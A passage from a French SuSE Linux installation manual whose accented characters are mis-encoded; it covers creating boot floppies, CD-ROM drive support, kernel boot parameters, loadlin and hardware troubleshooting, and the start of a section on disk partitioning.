  4296.                            Vous  trouverez  sur  le  CD  1,  dans  le  rΘpertoire  /disks,  les  images  de  dis-
  4297.                            quettes  standard.  Nous  vous  conseillons  de  lire  les  fichiers  README  qui  s'y
  4298.                            trouvent Θgalement. L'image bootdisk sert de modΦle pour la disquette stan-
  4299.                            dard. Les noyaux proprement dits sont dans le fichier /suse/images et leurs
  4300.                            noms se terminent par .ikr.
  4301.  
  4302.                            Si  vous  avez  besoin  de  la  disquette  standard  fournie  avec  toute  version  de
  4303.                            SuSE     Linux, procΘdez de la maniΦre suivante. Nous supposons ici que vous
  4304.                            vous trouvez dans le rΘpertoire principal du CD :
  4305.  
  4306.                                  Q:>  dosutils\rawrite\rawrite  disks\bootdisk
  4307.  
  4308.                            Les choses se compliquent quelque peu s'il vous faut, par exemple, un noyau
  4309.                            pour les circuits EIDE spΘciaux. Dans un tel cas, Θcrivez tout d'abord l'image
  4310.                            standard sur la disquette et remplacez le noyau proprement dit (linux) par le
  4311.                            noyau EIDE spΘcial (par exemple eide.ikr) :
  4312.  
  4313.                                  Q:>  dosutils\rawrite\rawrite  disks\bootdisk
  4314.                                  Q:>  copy  suse\images\eide.ikr  a:\linux
  4315.  
  4316.  
  4317.                            2.6.4      CrΘer des disquettes d'amorτage avec Unix
  4318.  
  4319.  
  4320.                            Conditions
  4321.  
  4322.                            Vous avez, sur un systΦme Unix/Linux, un lecteur de CD-ROM parfaitement
  4323.                            fonctionnel. Il vous faut une disquette vΘrifiΘe (et formatΘe).
  4324.  
  4325.                            ProcΘdez de cette maniΦre pour crΘer des disquettes d'amorτage :
  4326.  
  4327.  
  4328.                             1.   Si vous devez encore formater la disquette :
  4329.                                       terre:  #  fdformat  /dev/fd0u1440
  4330.  
  4331.  
  4332.                             2.   Montez le premier CD (par exemple vers /cdrom) :
  4333.                                       terre:  #  mount  -tiso9660  /dev/cdrom  /cdrom
  4334.  
  4335.  
  4336.                             3.   Passez au rΘpertoire disks sur le CD :
  4337.                                       terre:  #  cd  /cdrom/disks
  4338.  
  4339.  
  4340.                             4.   CrΘez maintenant la disquette d'amorτage avec
  4341.                                       terre:  #  dd  if=/cdrom/disks/bootdisk  of=/dev/fd0  bs=8k
  4342.  
  4343.  
  4344.                                  Dans le fichier README du rΘpertoire disks, vous apprendrez ce que peut
  4345.                                  faire chaque noyau. Vous pouvez lire ces fichiers avec more     ou less     (au
  4346.                                  sujet de less    , voir le paragraphe 19.7.3 page 489).
  4347.  
  4348.  
  4349. 58
  4350.        ___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
  4351.  *______________________
  4352.  
  4353.  
  4354.  
  4355.  5.   S'il vous faut un autre noyau, procΘdez comme suit :
  4356.            terre:  #  dd  if=/cdrom/disks/bootdisk  of=/dev/fd0  bs=8k
  4357.            terre:  #  mount  -t  msdos  /dev/fd0  /mnt
  4358.            terre:  #  cp  /cdrom/suse/images/eide.ikr  /mnt/linux
  4359.            terre:  #  umount  /mnt
  4360.  
  4361.  
  4362.  
  4363. 2.6.5      Linux supporte-il mon lecteur de CD-ROM ?
  4364.  
  4365. On peut dire en rΦgle gΘnΘrale que la plupart des lecteurs de CD-ROM sont
  4366. supportΘs.
  4367.  
  4368.  
  4369.   ~   Pour les lecteurs +  ATAPI, il ne devrait pas y avoir de problΦmes.
  4370.  
  4371.   ~   Pour les lecteurs de CD-ROM SCSI, cela dΘpend uniquement du contr⌠-
  4372.       leur  SCSI  auquel  est  connectΘ  le  lecteur  de  CD-ROM  et  qui  doit  Ωtre
  4373.       lui-mΩme supportΘ. La base de donnΘes des composants (CDB) que vous
  4374.       trouverez dans le paquetage cdb, sΘrie doc ou sous http://cdb.suse.
  4375.       de/, vous fournit la liste des contr⌠leurs SCSI supportΘs. Si votre contr⌠-
  4376.       leur SCSI n'est pas supportΘ et si votre disque dur est aussi rattachΘ au
  4377.       contr⌠leur, vous avez de toute faτon un problΦme :-(
  4378.  
  4379.   ~   De nombreux lecteurs de CD-ROM spΘcifiques aux diffΘrents fabricants
  4380.       fonctionnent avec Linux. Dans ce groupe on peut nΘanmoins rencontrer
  4381.       des difficultΘs. Si votre lecteur n'est pas explicitement mentionnΘ, vous
  4382.       pouvez toujours faire un essai avec un type analogue du mΩme fabricant.
  4383.  
  4384.   ~   Les lecteurs de CD-ROM sur port parallΦle sont maintenant trΦs rΘpandus.
  4385.       Malheureusement ils ne sont absolument pas standardisΘs, de telle sorte
  4386.       qu'il  survient  rΘguliΦrement  des  problΦmes.  SuSE     Linux  contient  toute
  4387.       une sΘrie de diffΘrents pilotes Alpha pour quelques lecteurs. Si aucun de
  4388.       ces  pilotes  ne  fonctionne,  il  ne  reste  plus  que  le  dΘtour  par  la  partition
  4389.       DOS. Notez que certains lecteurs supportΘs par Linux ne sont accessibles
  4390.       que  s'ils  ont  ΘtΘ  initialisΘs  par  leur  pilote  DOS  et  que  s'il  n'a  ΘtΘ  fait
  4391.       ensuite qu'un dΘmarrage α chaud : : :
  4392.  
  4393.  
  4394. 2.7       Descriptions de problΦmes
  4395.  
  4396.  
  4397. 2.7.1      Impossible de dΘplacer des fichiers
  4398.  
  4399. Les fichiers qui ont les attributs systΦme       ou cachΘ      ne sont normalement pas
  4400. dΘplacΘs par les programmes de dΘfragmentation. Pour savoir quels fichiers
  4401. vous causent des difficultΘs, vous pouvez avec
  4402.  
  4403. attrib  \*.*  /s  >  <fichier_listage>
  4404.  
  4405. faire Θcrire une liste globale de votre disque dur dans le <fichier`listage>.
  4406. Dans cette liste, vous pourrez identifier les fichiers qui posent des problΦmes
  4407. et les rendre dΘplaτables avec
  4408.  
  4409. attrib  -S  -H  <nom_de_fichier>
  4410.  
  4411. Vous devez procΘder avec toute la prudence qui s'impose pour ne pas dΘtruire
  4412. de fichiers protΘgΘs contre la copie ni de fichiers de transfert permanents ou
  4413. autres fichiers systΦme spΘciaux. AprΦs la dΘfragmentation, vous pourrez ou
  4414. devrez remettre les attributs dans leur Θtat initial.
  4415.  
  4416.  
  4417.                                                                                                                                    *
  4418.  *     59
  4419. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4420.  *_______________________________________@
  4421.  
  4422.                            ________________________________________________________________________________________________________*
  4423.  *________
  4424.                            |  Sous Windows, vous pouvez utiliser α cette fin le ``gestionnaire de fichiers''                       *
  4425.  *        |||
  4426.                            |                                                                                                       *
  4427.  *        |||
  4428.                            |  ou ``l'Explorer''.                                                                                   *
  4429.  *        |||
  4430.                            |_______________________________________________________________________________________________________*
  4431.  *________|||_
  4432.  
  4433.                            Si vous n'obtenez pas de rΘsultat, il vous faudra bien avaler la pilule et mo-
  4434.                            difier vΘritablement le partitionnement de votre disque dur. Cela signifie, en
  4435.                            particulier, que vous devrez sauvegarder toutes vos donnΘes pour les rΘinsΘrer
  4436.                            aprΦs le repartitionnement. Vous avez bien s√r l'alternative de faire l'acqui-
  4437.                            sition  d'un  disque  dur  supplΘmentaire  et  la  baisse  constante  des  prix  vous
  4438.                            facilitera peut-Ωtre ce pas : : :
  4439.  
  4440.  
  4441.                            2.7.2      Pas de clavier franτais en mode MS-DOS
  4442.  
  4443.                            En mode DOS, lancez la commande
  4444.  
  4445.                            loadhigh  keyb  fr`c  :\windows\command\keyboard.sys  /ID  :120
  4446.                            pour la France ou
  4447.                            loadhigh  keyb  be`c  :\windows\command\keyboard.sys
  4448.                            pour la Belgique ou
  4449.                            loadhigh  keyb  sf`c  :\windows\command\keyboard.sys
  4450.                            pour la Suisse ou
  4451.                            loadhigh  keyb  cf`c  :\windows\command\keyboard.sys
  4452.                            pour le Canada, ou insΘrez cette commande dans le fichier autoexec.bat.
  4453.                            Si votre rΘpertoire Windows a un autre nom, vous devez modifier en consΘ-
  4454.                            quence la spΘcification du chemin.
  4455.  
  4456.  
  4457.                            2.7.3      Pas de pilote de CD-ROM en mode MS-DOS
  4458.  
  4459.                            En mode MS-DOS, vous ne disposez que des pilotes qui ont ΘtΘ chargΘs dans
  4460.                            les fichiers config.sys et autoexec.bat. Il est tout α fait raisonnable de
  4461.                            renoncer  ici  au  pilote  de  CD-ROM  (et  autres)  car  Windows  95/98  apporte
  4462.                            ses  propres  pilotes.  Pour  pouvoir  utiliser  quand  mΩme  les  pilotes  en  mode
  4463.                            MS-DOS, vous devez crΘer un lien pointant sur une invite d'entrΘe MS-DOS
  4464.                            et crΘer vos propres fichiers de dΘmarrage dans les propriΘtΘs registre `Pro-
  4465.                            gramme' sous `╔tendue'. Vous devrez insΘrer vos pilotes dans ces fichiers
  4466.                            pour pouvoir les utiliser dans cette boεte DOS.
  4467.  
  4468.  
  4469.                            2.7.4      le CD est dΘfectueux
  4470.  
  4471.                            Cette  ΘventualitΘ  est  plut⌠t  improbable  bien  qu'on  ne  puisse  pas  bien  s√r
  4472.                            l'exclure complΦtement. Dans ce cas, adressez-vous en toute confiance α votre
  4473.                            revendeur.
  4474.  
  4475.  
  4476.                            2.7.5      Le CD-ROM ATAPI se bloque α la lecture
  4477.  
  4478.                            Si  votre  lecteur  de  CD-ROM  +  ATAPI  n'est  pas  reconnu  ou  se  bloque  α  la
  4479.                            lecture,  cela  provient  trΦs  souvent  du  fait  que  votre  matΘriel  n'est  pas  bien
  4480.                            connectΘ. Normalement, les diffΘrents pΘriphΘriques devraient Ωtre connectΘs
  4481.                            en  permanence  au  bus  (E)IDE,  le  premier  pΘriphΘrique  en  mode  maεtre  au
  4482.                            premier contr⌠leur et le deuxiΦme en mode esclave. Le troisiΦme pΘriphΘrique
  4483.                            est connectΘ en mode maεtre au deuxiΦme contr⌠leur et le quatriΦme en mode
  4484.                            esclave.
  4485.  
  4486.  
  4487. 60
  4488.        ___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
  4489.  *______________________
  4490.  
  4491.  
  4492.  
  4493. Mais il arrive trΦs souvent que dans une machine il ne se trouve, α c⌠tΘ du
  4494. disque dur, que le lecteur de CD-ROM et qu'il soit connectΘ en tant que maεtre
  4495. au  deuxiΦme  contr⌠leur.  Dans  certains  cas,  Linux  ne  peut  pas  contourner
  4496. cette faille de faτon autonome. Il est toutefois possible, dans la plupart des
  4497. cas, d'aider le noyau α se tirer d'affaire en spΘcifiant un paramΦtre adΘquat
  4498. (hdc=cdrom        , voir aussi le paragraphe 14.3.2 page 370).
  4499.  
  4500. Il  arrive  aussi  occasionnellement  qu'un  lecteur  soit  tout  simplement  mal
  4501. ``branchΘ''  dans  ce  sens  qu'il  est  configurΘ  en  tant  qu'esclave  tout  en  Θtant
  4502. connectΘ en tant que maεtre au deuxiΦme contr⌠leur, α moins que ce ne soit
  4503. le contraire. En cas de doute, vous devriez vΘrifier ces configurations et les
  4504. corriger si besoin.
  4505.  
  4506. Il existe en outre toute une sΘrie de chipsets EIDE dΘfectueux. Mais ceux-ci
  4507. sont maintenant connus en grande partie et le noyau contient un code qui lui
  4508. permet  de  contourner  le  problΦme.  Pour  ces  cas,  il  existe  un  noyau  spΘcial
  4509. (voir le README dans le rΘpertoire /disks du CD-ROM d'installation.
  4510.  
  4511. Les paramΦtres du noyau α spΘcifier sont dΘcrits de faτon dΘtaillΘe au para-
  4512. graphe 14.3.2 page 370 et au chapitre 13 page 359.
  4513.        _______________________________________________________________________________________________________________________|||
  4514.        ||||||||                                                                                                 ||             |
  4515.        ||||||||  Si l'amorτage ne fonctionnait pas du premier coup, essayez les paramΦtres                      ||             |
  4516.        ||||||||  du noyau mentionnΘs ci-dessous. ~ Vous devez les entrer α l'invite d'amor-                     ||             |
  4517.        ||||||||                                                                                                 ||             |
  4518.        ||||||||  τage (boot :) :                                                                                ||             |
  4519.        ||||||||  boot :  linux  <paramΦtre_α_entrer>                                                            ||             |
  4520.        ||||||||                                                                                                 ||             |
  4521.        ||||||||  Attention :                                                                                    ||             |
  4522.        ||||||||  N'oubliez  pas  de  spΘcifier  le  nom  du  noyau  (linux)  devant  le  nom  des               ||             |
  4523.        ||||||||                                                                                                 ||             |
  4524.        ||||||||  paramΦtres proprement dits !                                                                   ||             |
  4525.        ||||||||_______________________________________________________________________________________________________________||_
  4526.  
  4527.  
  4528.   ~   hd<x>=cdrom -  <x> remplace ici a,b,c,d... et signifie :
  4529.  
  4530.  
  4531.       ffl   a - Maεtre connectΘ au 1er contr⌠leur IDE
  4532.  
  4533.       ffl   b - Esclave connectΘ au 1er contr⌠leur IDE
  4534.  
  4535.       ffl   c - Maεtre connectΘ au 2Φme contr⌠leur IDE
  4536.  
  4537.       ffl   : : :
  4538.  
  4539.  
  4540.       Exemple de <paramΦtre`α`entrer> : hdb=cdrom
  4541.  
  4542.       Avec ce paramΦtre, vous pouvez faire connaεtre votre lecteur de CD-ROM
  4543.       au noyau s'il ne parvenait pas α le dΘtecter lui-mΩme et si vous possΘdez
  4544.       un lecteur de CD-ROM +  ATAPI.
  4545.  
  4546.   ~   ide<x>=noautotune -  <x> remplace 0,1,2,3 et signifie :
  4547.  
  4548.  
  4549.       ffl   0 - 1er contr⌠leur IDE
  4550.  
  4551.       ffl   1 - 2Φme contr⌠leur IDE
  4552.  
  4553.       ffl   : : :
  4554.  
  4555.  
  4556.       Exemple de <paramΦtre`α`entrer> : ide0=noautotune
  4557.  
  4558.       Avec les disques durs (E)IDE, ce paramΦtre se revΦle souvent efficace.
  4559.  
  4560.  
  4561.                                                                                                                                    *
  4562.  *     61
  4563. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4564.  *_______________________________________@
  4565.  
  4566.                            ________________________________________________________________________________________________________*
  4567.  *________||
  4568.                            |  Vous   trouverez   d'autres   paramΦtres   du   noyau   au   paragraphe   14.3.2                     *
  4569.  *        ||||
  4570.                            || page 370 et pages suivantes. Jetez-y un coup d'oeil si vous avez des dif-                            *
  4571.  *        ||||
  4572.                            |  ficultΘs avec certaines systΦmes SCSI ou si l'intΘgration de cartes rΘseau                           *
  4573.  *        ||||
  4574.                            |                                                                                                       *
  4575.  *        |||
  4576.                            |  vous pose des problΦmes.                                                                             *
  4577.  *        |||
  4578.                            |_______________________________________________________________________________________________________*
  4579.  *________|||_
  4580.  
  4581.                            2.7.6      Lecteurs de CD-ROM sur port parallΦle
  4582.  
  4583.                            Pendant la phase d'installation, Linuxrc  vous propose un choix de tous les
  4584.                            pilotes disponibles. GΘnΘralement, il n'y a rien de particulier α observer.
  4585.  
  4586.                            Malheureurement, de nombreux lecteurs (par exemple Freecom ) ne sont pas
  4587.                            encore supportΘs. Il arrive mΩme occasionnellement que certains lecteurs ne
  4588.                            puissent  pas  Ωtre  utilisΘs  bien  qu'α  en  croire  leur  Θtiquette  ils  soient  d'un
  4589.                            type  identique.  Les  constructeurs  ont  apparemment  fait  des  modifications
  4590.                            internes sans donner au produit une nouvelle dΘnomination qui rendrait ces
  4591.                            modifications Θvidentes : : :
  4592.  
  4593.                            Quelques  lecteurs  doivent  Ωtre  initialisΘs  par  le  pilote  DOS  correspondant
  4594.                            pour que le noyau Linux puisse les reconnaεtre :
  4595.  
  4596.                             1.   Amorcez DOS et faites charger le pilote de CD-ROM.
  4597.  
  4598.                             2.   InsΘrez la disquette d'amorτage Linux.
  4599.  
  4600.                             3.   ProcΘdez α un dΘmarrage α chaud.
  4601.  
  4602.                            Avec des lecteurs non supportΘs, il est toujours nΘcessaire d'effectuer l'ins-
  4603.                            tallation par le biais d'une partition DOS (voir paragraphe 2.4 page 46).
  4604.  
  4605.                            Pour  la  programmation  du  port  parallΦle  sous  Linux,  voir  http://www.
  4606.                            torque.net/linux-pp.html.
  4607.  
  4608.  
  4609.                            2.7.7      Lecteurs de CD-ROM ``propriΘtaires''
  4610.  
  4611.                            Pour  les  lecteurs  Mitsumi,  il  existe  diffΘrents  pilotes !  Les  pilotes  Mitsumi
  4612.                            spΘciaux  gΦrent  explicitement  les  ``vieux''  lecteurs  connectΘs  α  leur  propre
  4613.                            contr⌠leur (par exemple LU-005 ou FX-001).
  4614.  
  4615.                            Pour les lecteurs plus rΘcents (tels que FX-400) c'est l'option `ATAPI  EIDE'
  4616.                            qui  doit  Ωtre  sΘlectionnΘe !  Ceci  est  Θgalement  valable  pour  les  lecteurs  de
  4617.                            Sony et Aztech.
  4618.  
  4619.                            Le pilote MCDX Mitsumi se distingue du pilote Mitsumi ``normal'' unique-
  4620.                            ment  par  le  fait  qu'il  est  capable  de  lire  des  CD  multisessions.  Il  est  donc
  4621.                            pratiquement  sans  importance  pour  l'installation  que  vous  utilisiez  l'un  ou
  4622.                            l'autre. Nous avons toutefois dΘcidΘ de proposer explicitement ce pilote car
  4623.                            il peut arriver, dans certains cas, que seul l'un des deux pilotes fonctionne et
  4624.                            que l'on veuille alors mettre toutes les chances de son c⌠tΘ.
  4625.  
  4626.  
  4627.                            2.7.8      Thinkpad ``s'endort'' pendant l'installation
  4628.  
  4629.                            └ un point quelconque du processus d'installation, il se produit un arrΩt :-(
  4630.  
  4631.                            Il ne nous est pas encore possible de vous proposer une solution valable sur
  4632.                            un plan gΘnΘral. Une mΘthode qui semble praticable, du moins pour de vieux
  4633.                            modΦles, consiste α dΘmarrer l'installation α partir de DOS avec setup.exe  et
  4634.                            de charger Linux avec loadlin (voir paragraphe 2.5 page 50).
  4635.  
  4636.  
  4637. 62
  4638.        ___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
  4639.  *______________________
  4640.  
  4641.  
  4642.  
  4643. Ces  tuyaux  nous  ont  ΘtΘ  communiquΘs  au  fil  du  temps ;  il  nous  intΘresse
  4644. toujours de connaεtre vos rΘactions et commentaires :
  4645.  
  4646.  
  4647.   ~   Placez dans le BIOS du notebook tout ce qui a pour but de vous faire Θco-
  4648.       nomiser de l'Θnergie ; mots-clΘs : ``suspend mode'', ``power management'',
  4649.       ``sleep features''.
  4650.  
  4651.   ~   Si  vous  dΘmarrez  α  partir  de  DOS,  chargez  votre  pilote  de  CD-ROM
  4652.       dans  config.sys  avec  l'option  /S  (pour  sleep    ) ;  remplacez  <drive>
  4653.       et <path> par vos propres valeurs :
  4654.  
  4655.             DEVICE  =  <drive>:\<path>\IBMTPCD.SYS  /S
  4656.  
  4657.  
  4658.   ~   Pendant l'installation, Θvitez tout accΦs au lecteur de disquettes.
  4659.  
  4660.  
  4661. 2.7.9      loadlin n'a pas suffisamment de mΘmoire pour charger le noyau
  4662.  
  4663.  
  4664. Vous n'avez pas suffisamment de mΘmoire disponible au dessous de 640 Ko.
  4665. Essayez de retirer quelques pilotes des fichiers de dΘmarrage du systΦme ou
  4666. de les charger dans une zone de mΘmoire plus haute.
  4667.  
  4668. Si vous avez, sous Windows 95/98, des lecteurs compressΘs et si le charge-
  4669. ment du pilote dans une zone de mΘmoire haute ne donne aucun rΘsultat, vous
  4670. devrez dΘcompresser les lecteurs compressΘs.
  4671.  
  4672.  
  4673.  
  4674. 2.7.10       loadlin ne fonctionne pas
  4675.  
  4676.  
  4677. Si vous deviez avoir quelques problΦmes avec loadlin , vous pouvez le lancer
  4678. avec les options -v  , -t   ou -d  . Le mieux est de faire Θcrire avec
  4679.  
  4680.       C:\>  loadlin  -d  debug.out  <autres_paramΦtres>
  4681.  
  4682. les informations de dΘbogage dans le fichier debug.out. Vous pourrez en-
  4683. voyer  ce  fichier  au  service  d'Assistance  Technique  de  SuSE    .  Vous  rempla-
  4684. cerez  <autres`paramΦtres>  par  les  donnΘes  de  votre  propre  systΦme  (voir
  4685. paragraphe 4.9.1 page 144).
  4686.  
  4687.  
  4688.  
  4689. 2.7.11       DOS tourne en mode protΘgΘ
  4690.  
  4691.  
  4692. loadlin  ne peut amorcer le noyau que si la machine se trouve soit en mode
  4693. rΘel, soit en mode virtuel 8086 (avec un serveur VCPI disponible). Si vous
  4694. travaillez sous Windows 95/98, vous devrez mettre votre machine en mode
  4695. MS-DOS.
  4696.  
  4697.  
  4698.   ~   Pour cela, vous vous servirez du bouton `DΘmarrer', `ArrΩter  : : : ',
  4699.       `RedΘmarrer  l'ordinateur  en  mode  MS-DOS' ou
  4700.  
  4701.   ~   vous crΘerez un lien vers l'invite d'entrΘe de MS-DOS et vous modifierez
  4702.       les caractΘristiques de cette maniΦre : dans le registre `Programme', vous
  4703.       choisirez `╔tendue'et vous marquerez d'une croix `Mode  MS-DOS'. Si
  4704.       l'invite d'entrΘe est maintenant dΘmarrΘe, votre machine passe en mode
  4705.       MS-DOS.
  4706.  
  4707.  
  4708.                                                                                                                                    *
  4709.  *     63
  4710. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4711.  *_______________________________________@
  4712.  
  4713.  
  4714.  
  4715.                            2.7.12       DΘnomination du lecteur de CD-ROM
  4716.                            Si  vous  avez  crΘΘ  avec  fips  une  autre  partition  sur  le  disque  dur,  il  s'agit
  4717.  
  4718.                            d'une partition DOS. Pour cette raison, les lettres de lecteur sont dΘcalΘes et
  4719.                            le lecteur de CD-ROM n'est plus par exemple D  :   mais E  :
  4720.  
  4721.                            AprΦs modification des types de partition avec YaST , tout rendre dans l'ordre
  4722.                            et le lecteur de CD-ROM redevient D  :
  4723.  
  4724.                            Si  vous  avez  des  difficultΘs,  sous  Windows  95/98,  α  ouvrir  Explorer  ou  le
  4725.                            poste de travail, c'est qu'il essaie encore d'accΘder α D  :   (pour nous en tenir
  4726.                            α cet exemple). Vous devez lui venir en aide avec le panneau de configuration
  4727.                            et entrer l'identification du lecteur de CD-ROM.
  4728.  
  4729.  
  4730.                            2.7.13       ProblΦmes d'ordre gΘnΘral avec le matΘriel
  4731.  
  4732.                            Vous rencontrez un ou plusieurs des phΘnomΦnes suivants :
  4733.  
  4734.                              ~   ProblΦmes de synchronisation lors de l'accΦs au lecteur de CD-ROM (blo-
  4735.                                  cage, longue attente, erreur du bus, fautes de segmentation).
  4736.  
  4737.                              ~   La gΘnΘration du noyau (ou d'autres programmes) avorte avec le signal 11
  4738.                                  ou le signal 7.
  4739.  
  4740.                              ~   Contenu de fichier erronΘ
  4741.  
  4742.                              ~   Erreur lors de l'accΦs α la mΘmoire
  4743.  
  4744.                              ~   Erreur lors de la reprΘsentation graphique
  4745.  
  4746.                              ~   Erreur crc lors de l'accΦs au lecteur de disquettes
  4747.  
  4748.                              ~   Plantage ou blocage pendant la procΘdure d'amorτage
  4749.  
  4750.                              ~   Erreur lors de la crΘation des systΦmes de fichiers (message d'erreur de
  4751.                                  mke2fs )
  4752.  
  4753.                              ~   Erreur lors de l'installation de la zone de swap
  4754.  
  4755.                              ~   Autres comportements ``bizarres'' du systΦme lors de l'accΦs au matΘriel
  4756.  
  4757.  
  4758.                            Informations de fond
  4759.  
  4760.                            Ces  phΘnomΦnes  Θtranges  sont  trΦs  probablement  d√s  α  un  matΘriel  dΘfec-
  4761.                            tueux ou configurΘ de faτon trop critique. Ils sont causΘs par certaines cartes
  4762.                            mΦres qui ont de toute Θvidence des problΦmes de synchronisation. Ces pro-
  4763.                            blΦmes se manifestent par des erreurs sur le bus (CPU-Memory-PCI-ISA).
  4764.  
  4765.                            MΩme si votre matΘriel fonctionne bien par exemple sous DOS ou Windows,
  4766.                            ceci n'est pas une garantie, ni pour sa stabilitΘ ni pour sa configuration. Bien
  4767.                            qu'un  tel  matΘriel  s'accommode  de  l'accΦs  mΘmoire  lent  et  segmentΘ  d'un
  4768.                            CPU en mode rΘel 16 bits (sous DOS ou Windows), il se produit des erreurs
  4769.                            dΦs qu'il est accΘdΘ α la mΘmoire en mode linΘaire avec salves de 32 bits.
  4770.  
  4771.                            Une autre cause peut Ωtre constituΘe par un mauvais refroidissement du CPU
  4772.                            ou  par  des  modules  RAM  (SIMMS)  dΘfectueux  (par  exemple  vulnΘrables
  4773.                            α  la  chaleur).  Des  erreurs  dans  le  cache  de  second  niveau  (inconsistance,
  4774.                            problΦmes de tempΘrature) peuvent aussi provoquer les effets citΘs ci-dessus.
  4775.  
  4776.                            La faute incombe donc au matΘriel et non pas α Linux qui met uniquement
  4777.                            ces problΦmes en Θvidence.
  4778.  
  4779.  
  4780. 64
  4781.        ___________________________________________________________________________________2.7.__Descriptions_de_problΦmes__________*
  4782.  *______________________
  4783.  
  4784.  
  4785.  
  4786. Linux se montre plus exigeant que d'autres systΦmes d'exploitation vis-α-vis
  4787. du  matΘriel,  ce  qui  provoque  par  exemple  les  difficultΘs  mentionnΘes  plus
  4788. haut. Linux doit toujours avoir la garantie que la base matΘrielle fonctionne
  4789. de faτon stable. Si ce n'est pas le cas, Linux refuse (α juste titre) le service.
  4790. Un systΦme d'exploitation qui continue α tourner avec un matΘriel dΘfectueux
  4791. ou  potentiellement  dΘfectueux  constitue  un  risque  non  nΘgligeable  pour  la
  4792. sΘcuritΘ.
  4793.  
  4794. Voir http://www.bitwizard.nl/sig11.
  4795.  
  4796.  
  4797. Que faire ?
  4798.  
  4799. Il existe toute une sΘrie de paramΦtres et de conditions que l'on peut ``mani-
  4800. puler'' afin d'isoler au moins le composant dΘfecteux ou fonctionnant mal.
  4801.  
  4802.   ~   DΘsactiver le cache interne et/ou externe : par rΘglage du BIOS (CMOS).
  4803.  
  4804.   ~   RΘduire la frΘquence du bus (VLB 40MHz au maximum ! Bus PCI, selon
  4805.       la spΘcification, au maximum 66 MHz de frΘquence externe) : par rΘglage
  4806.       du BIOS ou par des cavaliers (angl. jumpers) sur la carte.
  4807.  
  4808.   ~   Augmenter  le  nombre  des  Θtats  d'attente  lors  de  l'accΦs  du  CPU  α  la
  4809.       mΘmoire centrale ou au cache : par rΘglage du BIOS.
  4810.  
  4811.   ~   VΘrifier si une option `15-16M  Memory  Hole' est active dans le Setup
  4812.       du BIOS : le cas ΘchΘant, dΘsactivez-la ! Linux ne s'attend pas α trouver
  4813.       de tels ``trous''.
  4814.  
  4815.   ~   Dans (Advanced) Chipset Setup, si cette option existe, activer `CAS  be-
  4816.       fore  RAS' : par rΘglage du BIOS.
  4817.  
  4818.   ~   VΘrifier les modules mΘmoire :
  4819.  
  4820.       ~   Ce sont particuliΦrement les types diffΘrents de circuits et modules qui
  4821.           crΘent rΘguliΦrement des problΦmes !
  4822.  
  4823.       ~   Pour un bus PCI avec 66 MHz, les modules DRAM doivent Ωtre spΘ-
  4824.           cifiΘs avec 60 ns ou mΩme moins ~ pas de sur-cadence (angl. overclo-
  4825.           cking).
  4826.  
  4827.       ~   VΘrifiez la fixation des barrettes SIMMS ou DIMMS qui doivent Ωtre
  4828.           exactement  adaptΘes,  suffisamment  serrΘes  et  bien  en  place.  Le  cas
  4829.           ΘchΘant, retirez les modules et remettez-les en place (faites attention
  4830.           aux contacts corrodΘs !).
  4831.  
  4832.       ~   Modifiez l'ordre des modules et des bancs de mΘmoire.
  4833.  
  4834.   ~   Assurez-vous que le ventilateur CPU fonctionne et qu'il se trouve exacte-
  4835.       ment sur le CPU (utilisez le cas ΘchΘant une pΓte conductrice de chaleur).
  4836.  
  4837.   ~   DΘsactivez la gestion d'Θnergie propre au systΦme (APM). Ceci est une
  4838.       source d'erreur frΘquente tout particuliΦrement pour Adaptec 2940 ainsi
  4839.       qu'il a ΘtΘ constatΘ α plusieurs reprises : par rΘglage du BIOS.
  4840.  
  4841.   ~   Certains clones de Pentium crΘent des difficultΘs lorsque le noyau ou le
  4842.       compilateur a ΘtΘ optimisΘ Pentium et qu'il n'est pas utilisΘ un vΘritable
  4843.       Pentium mais par exemple un AMD K6 ou Cyrix 6x86. Dans un tel sys-
  4844.       tΦme,  optimisez  le  noyau  ou  les  programmes  pour  les  processeurs  486
  4845.       au  maximum,  le  cas  ΘchΘant  seulement  pour  les  386.  Utilisez  le  noyau
  4846.       standard de SuSE     (voir paragraphe 3.6.2 page 103).
  4847.  
  4848.  
  4849.                                                                                                                                    *
  4850.  *     65
  4851. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4852.  *_______________________________________@
  4853.  
  4854.  
  4855.  
  4856.                              ~   Contr⌠lez les paramΦtres gΘnΘraux dans le Setup du BIOS et activez Θven-
  4857.                                  tuellement l'option (conservatrice) `BIOS-Defaults'.
  4858.  
  4859.                              ~   Dans le cas d'un BIOS PC dΘfectueux, le seul recours est une mise α jour
  4860.                                  du BIOS. Adressez-vous α votre revendeur ou au fabricant.
  4861.  
  4862.                              ~   L'alimentation ne fournit pas suffisamment d'Θnergie ou l'alimentation en
  4863.                                  Θnergie est instable. Tentez de mettre hors fonction certains pΘriphΘriques.
  4864.  
  4865.                              ~   Renoncez au ``Busmaster DMA'' appelΘ aussi ``UDMA'' ou ``Ultra DMA''.
  4866.                                  Veillez α ce que les cΓbles EIDE soient courts et de bonne qualitΘ.
  4867. 66
  4868.        __________________________________________________________________________2.8.__Partitionnement_pour_dΘbutants______________*
  4869.  *______________________
  4870.  
  4871.  
  4872.  
  4873. 2.8       Partitionnement pour dΘbutants
  4874. Vous n'Ωtes pas encore familiarisΘ avec Linux et son systΦme de fichiers. Vos
  4875.  
  4876. questions sont les suivantes : Combien d'espace doit-on mettre α la disposi-
  4877. tion de Linux ? De combien a-t-on absolument besoin ? Combien devrait-on
  4878. avoir ? Combien est-il utile d'avoir ? Comment doit-on rΘpartir l'espace ?
  4879.  
  4880.  
  4881. Types de partitions pour le PC
  4882.  
  4883. Chaque disque dur contient une table des partitions qui permet de faire quatre
  4884. entrΘes. Chaque entrΘe dans la table des partitions peut correspondre soit α
  4885. une partition primaire soit α une partition Θtendue. Vous ne pouvez cependant
  4886. avoir qu'une seule partition Θtendue.
  4887.  
  4888. Il  est  trΦs  facile  d'examiner  les  partitions  primaires  :  elles  constituent  une
  4889. zone ininterrompue de cylindres attribuΘs α un systΦme d'exploitation. Avec
  4890. les  partitions  primaires,  on  ne  pourrait  installer  par  cylindre  qu'un  nombre
  4891. maximal de quatre partitions, il n'est pas possible d'en mettre plus dans la
  4892. table des partitions.
  4893.  
